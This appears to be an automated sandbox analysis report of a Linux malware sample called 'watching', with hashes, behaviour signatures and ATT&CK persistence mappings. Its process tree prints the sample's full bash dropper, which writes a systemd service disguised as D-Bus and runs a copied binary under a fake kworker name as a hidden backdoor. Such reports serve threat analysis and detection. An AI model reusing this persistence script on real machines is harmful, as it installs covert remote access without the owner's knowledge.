Analysis
- max time kernel
0s - max time network
128s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260126-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20260126-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
28/04/2026, 00:30
Static task
static1
Behavioral task
behavioral1
Sample
watching
Resource
ubuntu1804-amd64-20260126-en
3 signatures
150 seconds
General
- Target watching
- Size 989KB
- Sample260428-atjcase17k
- SHA256 9fe3bee06c46fff73c7cebfac40b40e08428f60e82c55305fe5e1774a1d30949
- MD5 e495edde676a34cef43fbe7fbac5184b
- SHA1 dfdc9b7f75b9c00d1190674f76f6d424c3a4b643
- SHA512 1992ec0918b82e7eab783edadb539fcee5dc447cbd0efa931d4483f5d00f41ff5be1868a1fe12f9dbb9416166c307a1b92c2e8d24eeb56f6fa73bbb9bcac350b
- SSDEEP 24576:hBUpT7vv8HhkUWkaKuvXYPMtkH+bSKLUU:hepTz8HhkUWkazYPnbK
- TLSH T1E2258D1BF2B370BDD167C031479BDB636836F06A41212DBB61C49A392D93EA01B19F67
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
6/10
Malware Config
Signatures
- Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
description ioc Process File opened for modification /etc/systemd/system/systemd-udev-sessions.service bash -
description ioc Process File opened for reading /proc/1/environ systemctl File opened for reading /proc/filesystems systemctl File opened for reading /proc/1/environ systemctl File opened for reading /proc/self/stat systemctl File opened for reading /proc/sys/kernel/osrelease systemctl File opened for reading /proc/1/environ systemctl File opened for reading /proc/filesystems systemctl File opened for reading /proc/self/stat systemctl File opened for reading /proc/filesystems cp File opened for reading /proc/filesystems cp File opened for reading /proc/filesystems systemctl File opened for reading /proc/self/stat systemctl File opened for reading /proc/self/stat systemctl File opened for reading /proc/sys/kernel/osrelease systemctl File opened for reading /proc/1/sched systemctl File opened for reading /proc/sys/kernel/osrelease systemctl File opened for reading /proc/1/sched systemctl File opened for reading /proc/cmdline systemctl File opened for reading /proc/1/sched systemctl File opened for reading /proc/cmdline systemctl File opened for reading /proc/filesystems cp File opened for reading /proc/1/environ systemctl File opened for reading /proc/cmdline systemctl File opened for reading /proc/1/sched systemctl File opened for reading /proc/filesystems systemctl File opened for reading /proc/cmdline systemctl File opened for reading /proc/sys/kernel/osrelease systemctl - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/sh-thd.pvKG5T bash
Processes
-
/tmp/watching/tmp/watching1⤵PID:1520
-
/bin/bash/tmp/watching -c "exec '/tmp/watching' \"\$@\"" /tmp/watching1⤵PID:1520
-
/tmp/watching/tmp/watching1⤵PID:1520
-
/bin/bash/tmp/watching -c " #!/bin/bash export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin set -euo pipefail LOCKFILE=\"/var/run/.sys_udev_lock\" exec 200>\"\$LOCKFILE\" || exit 0 flock -n 200 || exit 0 SERVICE_NAME=\"systemd-udev-sessions.service\" SERVICE_PATH=\"/etc/systemd/system/\$SERVICE_NAME\" if systemctl is-active --quiet \"\$SERVICE_NAME\"; then # Există și rulează -> nu mai facem NIMIC exit 0 fi safe_copy() { local src=\"\$1\" local dest=\"\$2\" [[ -f \"\$dest\" ]] || cp \"\$src\" \"\$dest\" >/dev/null 2>&1 || true } safe_copy /usr/bin/nvme /lib/sshd safe_copy /var/lib/mlocate/mlocated.db /lib/os-releases safe_copy /var/lib/mlocate/mlocated.db /lib/grub.log if [[ ! -f \"\$SERVICE_PATH\" ]]; then cat > \"\$SERVICE_PATH\" <<'EOF' [Unit] Description=D-Bus System Connection Bus After=network.target [Service] Type=simple Restart=no WorkingDirectory=/root ExecStart=/bin/bash -c \"GS_ARGS='-k /lib/grub.log -ilq' exec -a '[kworker/88:9]' '/lib/sshd'\" [Install] WantedBy=multi-user.target EOF fi systemctl daemon-reload >/dev/null 2>&1 if ! systemctl is-active --quiet \"\$SERVICE_NAME\"; then systemctl enable --now \"\$SERVICE_NAME\" >/dev/null 2>&1 || true fi exit 0 " /tmp/watching1⤵
- Modifies systemd
- Writes file to tmp directory
PID:1520 -
/usr/bin/flockflock -n 2002⤵PID:1521
-
-
/bin/systemctlsystemctl is-active --quiet systemd-udev-sessions.service2⤵
- Reads runtime system information
PID:1522
-
-
/bin/cpcp /usr/bin/nvme /lib/sshd2⤵
- Reads runtime system information
PID:1523
-
-
/bin/cpcp /var/lib/mlocate/mlocated.db /lib/os-releases2⤵
- Reads runtime system information
PID:1524
-
-
/bin/cpcp /var/lib/mlocate/mlocated.db /lib/grub.log2⤵
- Reads runtime system information
PID:1525
-
-
/bin/catcat2⤵PID:1526
-
-
/bin/systemctlsystemctl daemon-reload2⤵
- Reads runtime system information
PID:1527
-
-
/bin/systemctlsystemctl is-active --quiet systemd-udev-sessions.service2⤵
- Reads runtime system information
PID:1551
-
-
/bin/systemctlsystemctl enable --now systemd-udev-sessions.service2⤵
- Reads runtime system information
PID:1552
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/sh-thd.pvKG5T
- Size 257B
- SHA256 a5da7d059ba1be55f5d6c80205d31fdc1656c02a5e9e4965a75a889848a51a07
- MD5 8d97d18baa14c584521395bd896529fd
- SHA1 fd9797e25d0e82a9d45087b7920be97385535027
- SHA512 45fbd06a8d9f92b892cc2f23b7e73d0f1ca12d0067c353e9b6695cb48e85ee165e2befaf8d66c418f3b2bf7c4f4a51ff3f9025367990ac4c8020f89fcd1ba447
- TLSH T1D2D02B11B540607D27062660DE96BF804D350844498DB0B045621A8A94F1241A6675AB
- MD5 SHA1 SHA512 TLSH